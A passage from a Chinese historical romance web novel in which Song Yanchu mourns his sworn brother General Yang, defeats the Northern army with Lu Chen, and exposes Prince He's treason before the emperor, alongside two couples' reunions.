陆思云不忍心看到这样残害自己，从身后抱住他，阻止他的行为。
“晏初，你冷静一点！我知道你很难过，但是你身上还背负着杨大哥的使命，你不要再自我伤害了。”
宋晏初看着漆黑的天空，雨滴重重砸在自己的脸上，让他睁不开眼，也将他的泪水埋葬在这场雨中。
“为什么！为什么我的亲人全都要离开我！我的亲生父母，我的族人，我的养父母。现在就连我的结拜兄长都要离开我！为
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什么！为什么我身边的人都要离我而去！”
陆思云紧紧在背后抱着他，喊道：“还有我啊！晏初，我就在你身边，你不是一个人，我就在你身边，我哪里也不会去。”
她的话终于出动了他，宋晏初转过身，将她紧紧抱在怀里。
两人在黑暗的大雨中用力相拥。
平复好情绪，三人坐在杨诚的尸体旁边，全都沉默不语。
大家的心情都很沉重，彼此都无法说出安慰的话来。
陆思云心中十分惋惜，她与杨诚虽然认识时间并不长，但却能看出他是一个正直忠厚，心怀大义之人。
这样一个心里全是大宣国的将军，就这样被奸人所害，实在令人唏嘘和愤慨。
宋晏初和陆思云全身都湿透了，云青又将火堆烧旺了一些，然后走过来轻声道：“夫人，你和大人身上都湿透了，赶紧去火堆旁边将湿衣服烤干，小心感染风寒。”
陆思云点头，她拉了拉一旁人的衣袖。
可他跪坐在那，看着杨诚的尸体一动不动，像一尊石像。
陆思云用力将他拉起，突如其来的力道将他的思绪拉回。
宋晏初茫然地抬头看她。
陆思云面无表情地看着他，但是眼神却十分坚定：“去将身上的衣服烤干。还有很多重要的事等着我们去做，我们不能让自己生病，你明白吗？”
宋晏初听话地点头。
是啊，他们还有很多事要做，现在不是伤心难过的时候。
两人坐在火堆边，无声地烤着火。
陆思云偷瞄他，注意到他情绪依旧十分低落，她看着眼前的火堆，开口道：“我以前从未对你说过，在我原来的世界，我是有母亲的……但我也只有母亲。”
宋晏初转头看向她，等着她继续说下去。
“我的父亲在我很小的时候就去世了。我是跟我母亲生活长大的。偶尔我也会看到母亲一个在房间里翻着父亲的照片，睹物思人。但怀念过后，她还是继续过自己的生活，继续照顾我，将我抚养成人。照片就是画像那类的东西。”
宋晏出点点头，鼓励她继续往下说。
“我只是想告诉你，人死不能复生。亲人离世，我们会不舍，会难过，也会怀念。这都是人之常情，是非常正常的事。但难过之后，怀念之后，我们还是得重新面对接下来的生活。活着的人，就必须往前进，不能原地踏步。眼下，我们要做的事情，关乎百姓，关乎国家，没有时间让我们沉溺在悲痛中。”
“你说的是。我不能让杨大哥还有将士们枉死。我一定要让那个人付出代价！我也必须要让北国的军队退出我大宣国的国土。”
陆思云见他慢慢想通，心里很欣慰：“要做的事有很多。我们还有更重要的使命，所以你必须要振作起来。
宋晏初看向她，眼里多了一丝温柔：“谢谢你思云，在这个艰难的时候找到我，陪在我身边，让我重新振作起来。”
她伸手握住他那双伤痕累累的手，笑道：“夫妻间本就应该同甘共苦，相互扶持，不是吗？”
宋晏初叹了口气，将她搂在怀中。
天大地大，而他却只有她一人了。
86.第 86 章
第二天，天刚蒙蒙亮，宋晏初和陆思云便悄悄下山，潜伏在三处路口，察看确认哪处路口的兵力最薄弱。
东面的出口，果然是兵力最弱的。
二人决定，就在东面的出口发射信号弹。
陆思云从衣服中拿出那支信号弹。
自从陆琛将这支新号弹交给她以后，她便时时刻刻带在身边，从未将它放在别处。
她知道这枚信号弹关系到此战的输赢，是至关重要的东西，所以她半分都不敢懈怠。
如今，她终于不辱使命，顺利找到宋晏初，并能让这枚信号弹发挥它该有的作用。
陆思云觉得非常庆幸。
她看了一眼对面的宋晏初，两人确认了彼此的眼神，她深吸一口气，一把拉掉了信号弹下的引线。
信号弹立刻“嗖”地一下飞上天空，发出“嘭”得一声巨响，信号弹在空中爆炸，红色的烟雾立刻在空中绽放。
没过多久，山下便响起了刀剑声和嘶吼声。
宋晏初惊讶于陆琛的速度竟然如此之外。
但转念一想，大概陆琛早就部署妥当，只等这枚信号弹的发射，然后立刻发起进攻。
二人也迅速加入战斗，边在敌人阵营中厮杀，边往自己军队的方向突围。
眼看着他们离陆琛的军队越来越近，忽然在宋晏初的背后冲出一名敌军的士兵，正抬刀向他砍去。
“晏初，小心后面！”陆思云离有一段距离，并不能护他，只能高呼提醒他。
宋晏初反应不及，眼看那把刀就要砍到自己。
突然那名士兵的动作顿了顿，然后嘴角缓缓开始流血，紧接着笔直地倒在他的面前。
他定睛一看，士兵背后刺入一把刀，而那柄刀有一个响亮的名字——绣春刀。
宋晏初抬眼，看到不远处那个身披盔甲的男人，正站在这打打杀杀的人群中看着他，脸上带着浅浅的笑容。
看到陆琛，宋晏初也露出了如释重负的笑。
他清楚地知道，有陆琛在，这场仗就必然不会输。
陆琛从不打无准备之仗，所以并没有花太多的时间，局势就成了一边倒的形势。
很快，战斗便结束了。
陆琛来边境后打的第一场仗，以胜利告捷。
一部分士兵留下来清扫战场，抓走剩下的俘虏。
而陆琛他们则回到营地。
分开的这段时间，他们都有太多话想要说。
回到营地，陆琛掩盖不住重逢后的喜悦，他向来习惯喜怒哀乐不显于色，但这次实在抑制不住心中的高兴。
“宋兄这些时间辛苦了，好在有惊无险。”
宋晏初立刻向他行礼表示感谢：“多谢陆兄相救，今日才能与陆兄重逢。”
“我本就奉皇上之命前来相助，如今顺利将宋兄救出，也算不负圣恩。”
见他似乎情绪并不高涨，陆琛好奇地问：“宋兄为何看上去心事重重？”
“不瞒陆兄，曾经与我一起驻守边关的杨诚将军，那日为救我，身中一箭。他为了证明背上之箭是我军所射，我军将士是被自己人所害，硬是忍着不把箭拔出，想等到回到洛城，当着圣上的面再拔箭，以证将士们的清白。但是他却没能等到这一天，昨日晚上他因伤口感染，在山上的洞穴内过世了。”
陆琛瞳孔微缩，脸上的神情颇为动容，对杨诚将军的行为感到震撼，对他的逝去感到惋惜。
“杨诚将军与我一起上阵杀敌，我们早已结拜成为异性兄弟。如今兄长枉死，我独自一人突出重围与陆兄相逢，实在是无法高兴起来。”
“宋兄的心情我明白。”
“云青一人在山中看管尸身。杨大哥死前的心愿，就是要将他的遗体带回皇城，让我当着陛下的面拔下他身上的箭，为他和枉死的战士们昭雪。”
“我即刻叫人上山去与云青会和，将杨将军的遗体带下山保管好。”
宋晏初起身向他抱拳作揖：“晏初在此谢过陆大人。”
“宋兄，你我之间无须这么客气。”
“杨将军的过世确实让人心痛惋惜，他又是你的义兄，宋兄悲痛也在情理之中。只是如今我们还有任务在身，救你是任务之一，将北国军队打退至大宣国边境线之外，便是任务之二。这第二个任务，我还需宋兄助力，还望宋兄早日从失去义兄的心情走出，与我一起将敌人打出国界。”
“陆兄说得极是。现在不是难过的时候，将北国军队打出国界，我义不容辞。”
“好。今日你们且休息调整一夜，我们明日开始筹划战略。”
陆琛给他们夫妻二人准备了一个稍大一些的营帐，可供他们二人一同住。
回到营帐，宋晏初和陆思云轻轻地拥抱在一起。
两人都有种劫后余生的庆幸。
稍作调整，宋晏初便全身心地投入到了打仗的战略部署中。
这一年多时间驻守边关，他有了一些带兵打仗的经验，他和陆琛联手，无疑是强强联合。
不需几日，他们的军队便直捣黄龙，打得哈赤尔的军队节节败退，丢盔弃甲，逃到了大宣国的边界线之外。
但宋晏初却并不想就此罢休。
虽说穷寇莫追，但他和陆琛还是带着精锐部队，杀到了哈赤尔驻守在北国边界的大本营中。
原本他暗中勾结和亲王，将宋晏初逼进七重山内，以为自己这回胜券在握。
谁能想居然被他绝处逢生，反过来杀到了他的大本营，杀到了他哈赤尔的面前，将他生擒拿下。
他心中的屈辱和不甘，不言而喻。
但是再不甘再懊悔，架在自己脖子上的刀透着寒意，逼近他的肌肤，让他不得不承认他已战败的事实。
宋晏初坐在原本属于哈赤尔的位置，而哈赤尔本人，被人用刀架在脖子上，硬生生地让他跪在了地上，跪在了他的面前。
宋晏初看着底下跪着的敌国大将，眼前不觉浮现出杨诚的脸，不禁握紧拳头。
哈赤尔仰着脸，一副想要就义的神情：“今日老子败在你手里，要杀要剐悉听尊便。老子要是皱一皱眉毛，就让我哈赤尔的名字倒过来写。”
宋晏初对他这番慷慨陈词毫无兴趣，他面无表情地问：“哈赤尔，你真的喜欢打仗么？”
哈赤尔被问得愣住。
谁会喜欢打仗。
见他不说话，宋晏初便知道他的答案。
“哈赤尔将军，你觉得两国常年征战的意义在哪里？打仗损耗的不仅是国力，更是百姓的生命。你也有家人，将士们也都有他们的家人至亲，为何要让战争将他
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们骨肉分离？”
“宋大人你想说什么，不妨直说。我就是一个粗人，不喜欢说话弯弯绕绕。”
宋晏初示意云青：“给将军赐座。”
听到这话，哈赤尔愣住，不明所以地看着他。
“两国交战，我既已打到你的大本营，按理来说，将你当众斩杀以振军威，是最好的办法。”
“但我并没有兴趣这么做，我的目的也并不在此。”
“宋大人的目的，是停止两国交战？”
“正是如此。哈赤尔将军只需答应我两件事，我便可以撤军，放了你，让你回北国皇城复命。”
“哪两件事？”
“这第一件事，我要你交出与和亲王的所有书信。”
哈赤尔沉默，他与和亲王暗中通信，互相勾结，交换情报，来达到各自的目的。
这本就不是光彩之事，如果将这些书信交给宋晏初，虽然坐实了和亲王通敌卖国之罪，但自己恐怕也会受到牵连。
看出他的顾及，宋晏初继续说：“哈赤尔将军，我现在并不是在跟你谈条件，你要知道现在你是我的手下败将。我要那些信件，本不需要通过你的同意。”
哈赤尔神色一凛：“我知道了，我交出来便是。宋大人请说第二件事。”
“这第二件事，便是我要将军回北国说服你们大汗，派使者来我大宣国，商谈停战之事。”
“这……”
“这便是我放你回北国的主要原因，如若你能促成此事，我便答应不将你与和亲王来往之事，告知你们大汗。”
“好，我答应大人，一定尽我所能，促成此事。”
“很好，那我就在皇城，静候佳音。”
宋晏初和陆琛说到做到，待哈赤尔双手奉上这些年与和亲王的来往信件之后，他们便带着军队撤回了南苗。
营帐内，宋晏初看着桌上的那些信件，内心的怒火无法抑制。
这些年，和亲王勾结敌国，做了许多有损大宣国的事，实在是可恶至极。
如今这些证据就在他的手中，他断然不会再让他逃脱罪责。
陆琛走进他的帐内，看到他坐在桌前，对着桌上的信件发呆。
“宋兄以信件威胁哈赤尔，让他回去促成两国停战，实在是妙哉。”
听见声音，宋晏初抬起头来。
“方才我让他将信件交于我，他脸上的迟疑让我笃定，此事北国大汗并不知晓，如若知晓，他也得落得一个通敌叛国之罪。所以我便以此拿捏住他，为我办事。”
“宋兄高明。”
宋晏初沉默了片刻，开口问：“不知杨大哥的遗体……”
“宋兄放心，我已托人将杨将军的遗体放在不远处一座小镇内的一大户人家的冰窖内。”
宋晏初听了，点点头，继续道：“既然事情已经都解决的差不多了。我提议我们还是尽早出发回洛城。我怕那边和亲王听到哈赤尔战败的消息，又要对我们从中阻挠。”
“宋兄言之有理，我会安排下去，尽早启程归家。”
听见“家”这个字，宋晏初有些恍惚，他已经许久未回家了。
不知道家中如何。
这段时间忙于要事，也没有时间好好问问陆思云，他不在洛城的这些时日，家中是否安好。
87.第 87 章
陆琛的办事效率很快，仅过了一日，他们便一早带着大部队，踏上了回去的征程。
他们途径附近的小镇，将杨诚的遗体带上，一同上路。
杨诚对于宋晏初来说，有敬重，有怀念，更多的是深深的愧疚。
毕竟他是为了救自己而受的伤。
也是因为伤口感染而失去了生命。
他的离世，自己多少有着不可推卸的责任。
看出他心情低落，陆思云在一旁握住他的手，安慰道：“等我们回到皇城，一定会为杨大哥讨回公道的。”
宋晏初侧头看着她，握紧了她的手，点点头。
为了防止杨诚的遗体腐烂得太快，到时候惊扰到圣上，他们特意加快了行军的速度。
晚上，陆琛让军队在丛林里安营扎寨。
顺利将宋晏初救出，将北国的军队打至边境线之外，任务完成了大半，只剩下班师回朝揭发和亲王的罪证。
回程的路上，除了警觉和亲王有可能的从中阻挠，陆琛的心情还算比较轻松。
夜深，他坐在营帐外，看着星空，思念着远在洛城的那个人。
“陆兄在想什么？”
陆琛抬头，看到宋晏初拿着两壶酒站在不远处，面带笑容地看着他。
他笑着邀请宋晏初在自己身边坐下，道：“我只是在想，事情比想象中进展的顺利。没想道我们这么快就可以回去了。”
“那都是陆兄的功劳，宋某还没来得及好好感谢陆兄的救命之恩。”
宋晏初将手中的一瓶酒递给他，继续道：“陆兄还记得，我在离开洛城的前一晚，我们有过一个约定？”
陆琛立刻心有灵犀地笑了起来，他举起手中的酒壶：“我们约定，下次见面，一定要痛快喝一场。”
宋晏初伸手与之相碰。
两个瓶子相撞发出清脆的响声，在这寂静的山间显得尤为响亮。
“想不到，这么快我们就能坐在一起喝酒了。”
“是啊，说起来，这是我和陆兄第二次一起联手合作了。”
陆琛回想起之前在华县一起办差的情景，脸上露出一丝浅笑：“上次是为百姓赈灾，而这次却是上战场杀敌，虽然两次我们都经历了生死，但意义却截然不同。”
“不管是上一次，还是这次，我和陆兄无论是在想法还是在实际配合上，都依旧默契。”
“说明我们是天生的搭档。”
说完，两人都会心一笑。
气氛正好好时，宋晏初的脸上却露出了些许落寞的神情：“原本这一刻，如果杨大哥也在，就真的没有遗憾了。”
陆琛明白，杨诚对于宋晏初来说，有多重要。
他是宋晏初在低谷时遇到的人，教会了他如何行军打仗，教会了他什么才是真的心怀大义、心怀天下。
在亲人一个个都离他而去的时候，与杨诚结拜为兄弟，对他来说，填补了一部分心中缺失的亲情。
他终于也有大哥可以依赖，有大哥可以相互扶持，一起奋战。
可就是这样一位肝胆忠义、威武勇猛的好大哥，就这样牺牲了自己的生命。
他没能活着看到我军胜利的场景，没能看到他们将敌军打退至国界外，没能活着回去与家人团聚。
这不仅是杨诚的遗憾，更是宋晏初心中永远的痛。
陆琛不知应该如何安慰他。
因为他虽然理解，却无法感同身受。
而语言又是如此的苍白无力。
“虽然我与杨将军并未见过面，但我知道这些年他驻守在边疆，守护大宣国国土，鞠躬尽瘁，他是一位英雄。”
“没错，我也是来了这边，才知道守护一方疆土，是多么不容易的一件事。常年驻守边境，要耐得住寂寞，承受得住边境恶劣的天气，还要有随时上战场杀敌赴死的准备。我是打从心底里佩服杨大哥，能和他结拜为兄弟，是我的荣幸。只是没想到，我们兄弟之间的缘分这么浅。”
“我相信，死去的人一定希望活着的人可以继续朝前走，获得属于自己的幸福。杨将军泉下有知，一定希望宋兄可以忘记悲痛，好好地活下去，做自己应做之事。”
“陆兄说的是。我不能继续这样消沉下去，回朝后，还有一场硬仗在等着我们。”
“没错，和亲王那个狗贼，新账旧账一起算，我们一定要让他付出应有的代价。”
安静了几秒，宋晏初转移话题道：“我不在洛城的这段时间，有劳陆兄帮我照顾家人，宋某在此谢过。”
“说起这个，陆某甚是惭愧。宋兄的两位夫人都是女中豪杰，她们坚韧自强，靠自己的努力将逆境变为顺境，我其实并没有帮什么忙。”
陆琛的话，让宋晏初有些意外。
对于他不在的这段时间所发生之事，他一直都很好奇，只是使命在身，让他没有时间细问。
现在在这夜空之下，与陆琛闲聊之余，他才想起来要询问此事。
“星然和婉晴，她们到底做了什么事？还望陆兄能够告知于我。”
然而陆琛却露出了神秘一笑：“具体发生了什么事，我想宋兄还是亲自去问楚娘子最为清楚。在下也不过是一个旁观者，很多事情并未真的参与，怕是无法向宋兄说得太明白。”
说得也是，具体细节，只怕只有陆思云这个参与之人才能知道的更全面。
他打算一会儿回营帐好好问问她。
宋晏楚这样想着，并未注意道陆琛的脸上露出了犹豫的神情。
“有件事，我觉得我必须当面跟宋兄说清楚，以免以后宋兄从别人口中听到不实的言论，而让你我之间产生嫌隙。”
“陆兄但说无妨。长夜漫漫，我洗耳恭听。”
“我打算……回到洛城，解决了和亲王之事，便迎娶婉晴。”
陆琛直视他，认真且诚恳地说道。
“我知道，宋兄和婉晴已经和离。但是她并未将你们的和离说公之于众。所以在外人看来，她还是宋府的大夫人。而宋兄你不在的这段时日，我们二人也并未做任何逾越之事。”
“婉晴是一个大方得体、聪慧能干的女子，同时那些教条礼数在她的观念里也是根深蒂固的，所以就算我们彼此对对方都有情，也绝对不会迈过道德的那条底线。以前你们未和离之前没有，和离之后也未曾有过。”
“但是我心悦于她。我陆琛此生，只想与她一人长相厮守。在我出发来苗南之前，我们已经约定，只
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要我能活着回来，她便嫁给我。”
“她毕竟曾经是你的妻子，所以我觉得这件事，还是需要当面跟宋兄坦诚比较好。”
陆琛说出这些话时，其实心里还是有些打鼓的。
虽然他们二人之间清清白白，这点他问心无愧。
但宋晏初与莫婉晴还没和离之前，他便已经心悦于她。
所以陆琛还是会有一种觊觎别人妻子的负罪感。
然而宋晏初听了他的话，却露出了如释重负的笑容。
“陆兄终于与我袒露心声。我一直在等陆兄与我坦白你对婉晴的感情。”
这下换陆琛有些意外地看向他。
“其实我与婉晴成亲至今，从未有过夫妻之实。我们自小就有婚约，所以我打小就知道她会是我未来的妻子，也许就是这个潜意识，让我对她产生了责任，让我觉得她与别的女子是不同的。我曾经将这份懵懂的责任当成是爱慕，当我知道她对我并无情意之后，我选择尊重她的决定。”
“如今我已经遇到真正心意相通之人，我才弄明白我对婉晴的感情更像是家人之情，所以陆兄不必介怀。”
“婉晴能找到属于她自己的幸福，我也很为你们感到高兴。”
能得到宋晏初的祝福，陆琛心里着实是松了一口气，也是打心底里觉得高兴。
“只是，与我和离之事，我担心坊间会有一些对她不利的流言蜚语，还望陆兄到时候可以护她周全。”
“宋兄放心，我一定会保护好她，不让她受到一点伤害。今日能得到宋兄的祝福，我想婉晴若知道了，也会十分欣喜。宋兄心胸宽广如天地，陆某在此多谢宋兄成全。”
与陆琛夜下交谈完，宋晏初回到自己的营帐，看到陆思云正趴在床边小憩等着他。
他心头一暖，蹑手蹑脚地走过去，将她从地上抱起，放在床上。
刚一放下，陆思云便醒了过来。
看到他，她立刻伸手搂住他的脖子，在他耳边呢喃道：“你回来啦。”
“嗯。”宋大人此时心变得柔软，要不是还在军营里，他恨不得立刻就将她揉进身体里。
“你和陆大人谈了些什么？”
宋晏初顺势在她身边躺下，将她搂在怀中：“我问他，我不在的这段时日，你们过得好不好。”
“他怎么回答的？”
“他让我直接来问你，说你是当事人，比他更清楚。”
陆思云笑了：“他说得没错。等回了洛城，等事情全都解决了，我便细细说与你听。”
“好。”
顿了顿，陆思云犹豫了片刻，还是决定开口：“陆大人，有没有跟你说他和莫姐姐的事？”
宋晏初点头：“他说，回去后，他便要娶婉晴为妻。”
“那你……”
“我当然是祝福他们，为他们感到高兴了。”
陆思云抬头看向他：“你当真一下都不介意？”
宋晏初将她搂紧了一些，低头看着她说：“我已经有你了，我也希望婉晴可以找到属于她的幸福。”
这下陆思云确定他是真的不介意此事，她笑着钻进了他的怀里。
陆思云觉得，她的心好久都没有这么踏实过了。
88.第 88 章
自从在城门口送别了陆琛和陆思云，莫婉晴每天都会去灵招寺，求神拜佛，保佑他们三人能够平安归来。
这天，她也同往常一样，在灵招寺的大厅内，对着大佛诚心祈求：“保佑思云妹妹、陆琛和晏初能够平安从边境回来。”
碧水突然跑来寺庙找她，脸上带着兴奋的神情，气喘吁吁地说：“夫人！夫人！他们回来了！他们回来了！”
“你别激动，慢点儿说，谁回来了？”
“二夫人和姑爷，还有陆大人，他们一起回来了！现在正在往城门口走呢！”
“你、你说什么？你再说一遍！”
“我的好夫人，别愣着啦！你快跟我们一起，去城门口迎接他们吧！”
这天大的喜讯，让她有些措手不及。
莫婉晴到现在都还未反应过来，任由碧水拖着往外走。
一行人站在城门之外，焦急地等着他们的出现。
莫婉晴伸长了脖子看着路口，双手搅在一起，心情莫名地有些紧张。
这些时日，她每日白天将自己投入到忙碌的生活中，让自己没有时间去胡思乱想。
可每到晚上夜深人静之时，她心底的那些不安的情绪就像洪水猛兽一般向她侵袭而来，让她喘不过气。
他们离开了几日，她就担心受怕，夜夜失眠了几日。
整个人一下子就消瘦了许多。
作为她的贴身丫鬟，碧水将自家夫人的变化看在眼中，心里很是心疼。
可是她却毫无办法。
她自己也很担心远在边境的夫人和姑爷，她理解莫婉晴的焦急与担忧。
留下的人其实比走的人更加难熬，并且不知什么时候能从这种煎熬中结束，这才是最为折磨人的地方。
好在，这样煎熬的日子终于到头了。
他们平安回来了。
没过多久，路的尽头渐渐扬起灰尘，一群人马慢慢出现在视野中。
陆思云、宋晏初和陆琛分别骑在战马上，并驾行走在队伍的最前方。
碧水和翠柳忍不住握住对方的手激动地喊：“他们来了，他们来了！他们终于平安回来了！”
莫婉晴捂着嘴，泪眼婆娑，眼前的场景因为泪水蒙着双眼而看上去朦朦胧胧，看不真切。
等她看清楚时，对面的那个人已经翻身下马，站在不远处。
似是在等着她。
此时的莫婉晴已经顾不上旁人的眼光，她控制不住自己的脚，迫不及待地朝着他飞奔而去。
而陆琛站在原地，看着她朝着自己奔来，他向前两步，伸出手臂接住那个义无反顾扑进他怀里的人，将她紧紧搂住。
二人旁若无人地拥抱。
莫婉晴抱着眼前的人，感受着他的体温，整个人都在颤抖。
太好了，他终于活着回来，终于回到了自己的身边。
这比什么都重要。
宋晏初搂着陆思云站在一旁，看着两个拥抱的身影，彼此对视了一眼，在对方的眼中看到了欣喜，他们都有一种相同的默契。
这次能平安回到洛城，无论是陆琛和莫婉晴，还是他们，都是九死一生，都值得庆幸。
两人抱了会儿，莫婉晴终于意识到，这是在大庭广众之下。
所有人都看着，他们俩这样做，有些不太合适。
她从陆琛的怀中挣脱出来，有些尴尬地看着宋晏初他们。
“晏初……”
宋晏初却抢先道：“你们的事，在回来的路上，陆兄已经同我说了。恭喜你，婉晴。你能找到好的归宿，我是真心为你感到高兴的。原本你我已经和离，你有权利去追求属于自己的幸福。”
能亲耳听到他对自己说出祝福的话，这对莫婉晴来说，是最大的宽慰。
“谢谢你，晏初。”
看到陆琛和莫婉晴终于可以光明正大地在一起，陆思云也打从心底为他们感到高兴。
他们二人一路走来有多么不容易，她都看在眼里。
陆思云激动地抱住莫婉晴：“莫姐姐，太好了，实在是太好了！”
重逢的喜悦并没有维持多久，陆琛和宋晏初便立刻回皇宫面圣。
真正的战斗，这才刚开始。
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大殿之上，文武百官们全都静悄悄，一句话也不敢多说。
和亲王更是面色凝重地看着他们两个人。
陆琛和宋晏初站在大殿的正中央，满脸的风尘仆仆。
文宣帝坐在正上方，对着底下的人道：“陆琛，晏初你们一路辛苦了。听闻你们将北国军队尽数赶出边境，杀得他们片甲不留，落荒而逃。”
“这些都是常年驻守边境的杨将军和将士们的功劳。”
“好，非常好！”文宣帝看了一眼他们身后，疑惑地问：“杨将军在何处？怎不见他的身影？”
宋晏初立刻双膝跪在地上：“启禀陛下，臣有要事要上奏。”
和亲王的脸色立刻变得煞白。
“准奏。”
“臣与杨将军驻守边境，与北国交战之时，由于援军迟迟未来，我们顽强抵抗敌军一波又一波的攻击。坚守了整整三日，终于挨到援军到来，我们满心欢喜，等来的却是千万支冷箭向我们射来。将士们毫无防备，全都中箭而亡。而杨将军为了护我，也不慎中箭。”
“原本只要将箭拔出，小心疗养，便没有生命危险。可我们被敌军逼进大山，山中条件艰苦，连果腹都成问题，别说是治疗伤口。况且杨将军他本人并不想把箭拔出，为了向皇上证明，他身上的箭是大宣朝所铸，他愣是让箭生生的长在自己的肉里，不准我们为他拔箭疗伤。”
“最终，伤口感染化脓，杨将军最后不治生亡。”
说到此处，宋晏初还是忍不住内心的悲痛，泣不成声。
“杨将军生前最后一个心愿，就是让我把他的遗体带到陛下面前，当着陛下的面亲自将他身上的箭拔出，来证明他和那些牺牲的将士们，都是被我们自己的援军所害。”
听了宋晏初声泪俱下的陈述，文宣帝也忍不住动情：“快，快把杨将军的遗体带上来。”
“是，陛下。”
很快，就有几个士兵，将杨诚将军的遗体抬到了大殿之上。
尸体久未下葬，已经有了腐烂的气味。
刚一台上来，在场所有的大臣全都下意识地捂住口鼻。
“朝廷之上，是商议朝堂之事的，怎能让已死之人躺在这里，恐有不吉啊。”
“是啊，不如让人将杨将军的尸体抬下去吧。”
“味道实在太刺鼻了。”
宋晏初将腰板挺直，大声呵斥道：“杨诚将军在边境驻守多年，这些年他从未回去与妻
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儿团聚，甚至到生命的尽头，他还想着亲人，想着那些枉死的将士，想着要见到一个太平昌盛的大宣国。就是这样一位英雄，如今为国而死，你们这些所谓的朝廷重臣享受高官厚禄，锦衣玉食，居然还在这里嫌他污染了这大殿的空气，真是让人寒心至极！”
这番话说出来，把在座的每一位大臣全都得罪了一个遍。
但此刻所有人全都说不出话，反驳不了。
陆琛立刻打圆场：“陛下，宋大人与杨将军情同手足、患难与共，如今杨将军战死，他心中悲痛，情绪失控，才会如此失言，请陛下恕罪！”
宋晏初这下意识到自己方才说的话有些太重，也跟着谢罪：“臣失言，请陛下恕罪。”
相比大臣们的嫌恶，文宣帝的脸上写满了痛心。
这样一位生而为大宣，死亦为大宣的忠臣，如今却落的如此地步，他的心里也十分惋惜。
“快，晏初，快将杨将军背后的箭给我拔出来。”
“臣领旨。”
宋晏初从地上站起来，缓缓地走到杨将军的遗体边。
遗体虽然被陆琛精心保存过，但也抵挡不住依旧在腐败溃烂，早就变得肿胀黝黑。
但是宋晏初却并无任何惧怕之色，他心里一直牢记他在杨诚临死前的承诺。
正是对他的这个承诺，支撑着他来到这个大殿之上。
他伸出手，握住箭，闭眼用力拔出。
然后他将箭呈到陛下面前：“陛下，诸位大臣，请看！此箭的箭头上，铸刻的是大宣国的烙印。”
“呈上来，给寡人看仔细。”
等文宣帝看清楚箭头上的烙印时，怒不可歇：“岂有此理！给寡人彻查此事！”
宋晏初立刻继续道：“启奏陛下，臣还有要事要奏！”
“准奏。”
“臣要参和亲王通敌卖国之罪。”
此话一出，大殿之上全场哗然。
和亲王立即跳出来：“宋晏初，你作为一个当街斩杀朝廷重臣的流放犯，居然敢诬陷本王？”
宋晏初直视和亲王，对他的指控并无惧怕之色：“傅宏逸勾结和亲王，与北国常年有来往，彼此交换情报，谋取私利。他算什么朝廷重臣？我斩杀的分明是卖国之人，是国之罪人。”
“你血口喷人！老师德高望重，又是开朝元老，你不仅夺他性命，还要毁他名誉，你简直是胆大妄为！”
“和亲王，我若是没有证据，又怎敢在皇上面前如此放肆？”
和亲王听了他的话，顿时有些心虚。
见他这幅模样，宋晏初露出一抹胜利的微笑。
他从怀中掏出一叠书信，双手呈上。
“陛下，这是在北国将军哈赤尔那搜得的这些年以来和亲王及傅宏逸的书信来往，里面有他们长期勾结、交换情报、出卖国/家、谋取私利的罪证，还请皇上过目。”
文宣帝看着这一封封书信，双手忍不住颤抖。
他不是没有怀疑过和亲王的野心，只是没有想到，他居然会做出出卖国/家的事。
“萧和，你还有何话说？”
“臣冤枉！”
“事到如今你还敢狡辩！你说你冤枉，难道这上面和亲王的印章还是假的不成？铁证如山，你还不认错？来人！将和亲王押入大牢，交由宗人府处置！”
“是！”
89.第 89 章
“来人！将和亲王押入大牢，交由宗人府处置！”
“是！”
宋晏初和陆琛站在大殿之上，看到宫廷侍卫将瘫软如泥的和亲王拉下去，心中感慨万千。
一切的一切，在这一刻，终于全都结束了。
文宣帝手捧着额头，眉头紧皱，看上去十分悲愤。
“皇上，您可以千万要保重龙体啊。”一旁的太监担心道。
“陆琛、晏初，寡人有些乏了，你们先回去休息，待日后寡人一定论功行赏、”
“陛下，宋大人的府邸之前被查封，不知可否……”
被陆琛这么一提醒，皇帝才想起这茬事。
“传旨，将宋府解封，宋晏初即刻便能回府。”
“谢陛下恩典。”
------
陆思云他们一行人站在宋府大门前，看着失而复得的家，脸上的欣喜溢于言表。
“兜兜辗转，我们终于又回来了。”
陆思云心中实在是有些感慨万分，她眼含热泪地握着莫婉晴的手道：“姐姐，我们终于苦尽甘来了。”
莫婉晴也忍不住流泪笑道：“是啊，妹妹终于等来了晏初平安归来。”
“姐姐也终于找到了属于自己的归宿。”
“我们终于都得偿所愿。”
众人携手踏入府中，许久未居住，府内落了许多灰尘，大家忙着收拾，虽然手上忙忙碌碌，可脸上却始终都带着笑容。
陆思云和莫婉晴在前厅等宋晏初回来。
宋府被解封，他们被允许重新回到这里，就说明陆琛和宋晏初在朝堂上进展顺利。
只是他们二人却迟迟未回，还是让她们心生不安，恐发生什么变故。
刘管家从门外跑进来，笑着道：“大夫人、二夫人，少爷和陆大人回来了。”
二人喜上眉梢，立刻迎了出去。
“如何？陛下有没有当场治和亲王的罪？”
宋晏初点头，但他脸上却没有半分胜利的喜悦。
他转身对陆琛作揖道：“陆兄，今日多谢你在朝堂之上助我，改日我一定登门拜谢。”
说完便独自转身，向书房的方向走去。
莫婉晴立刻用眼神鼓励陆思云跟上，他现在需要她的安慰和陪伴。
陆思云会意地点点头，立刻转身跟在他身后。
门口只剩下陆琛和莫婉晴二人。
陆琛看着宋晏初的背影，道：“宋兄大概是在殿上看到杨将军破败不堪的遗体，心里有所触动，才会心情低落。”
原来如此。
莫婉晴了然。
但是，如今能陪在他身边的，也唯有陆思云而已。
他们这些外人，并不能帮上什么忙。
“我送送你吧。”
陆琛低头看她，眼中带笑，点点头。
两人来到河边，莫婉晴一眼就认出这是当初她同他说分开的地方。
“为什么要带我来这里？”
“当初，我们是在这里分开的，现在我们也要在这里重新开始。”
莫婉晴愣了一下，随即笑了出来。
一向雷厉风行的陆大人，居然也有这样孩子气的一面。
“看来陆大人对那天的事，十分耿耿于怀啊。”
陆琛眼眸深邃，往前迈了半步，拉进他们的距离，低声道：“你说呢？”
莫婉晴看着他的眼睛，心跳突然漏了一拍。
她双颊绯红，低头道歉：“对不起。”
她一道歉，陆琛的心便立刻软了。
其实，他从未真的怪过她，哪怕当时不知晓她与自己分开的真实理由，他都没有怪她，只是不理解她为何突然如此。
他将她轻轻搂在怀中，像抱着一样易碎的宝物一般，叹了口气：“我就是拿你毫无办法。”
听见他语气中带着些无奈，又带着些撒娇，莫婉晴心口微甜。
她笑着回抱住他，在他怀里承诺道：“我以后再也不会离开你了，我保证。”
听了这句话，陆琛将怀中的人搂紧了一些，将头靠在她的脖间，闻着她专有的味道，心里终于被填满，不再空虚。
“这可是你说的，不能食言。”
“好，绝不食言。”
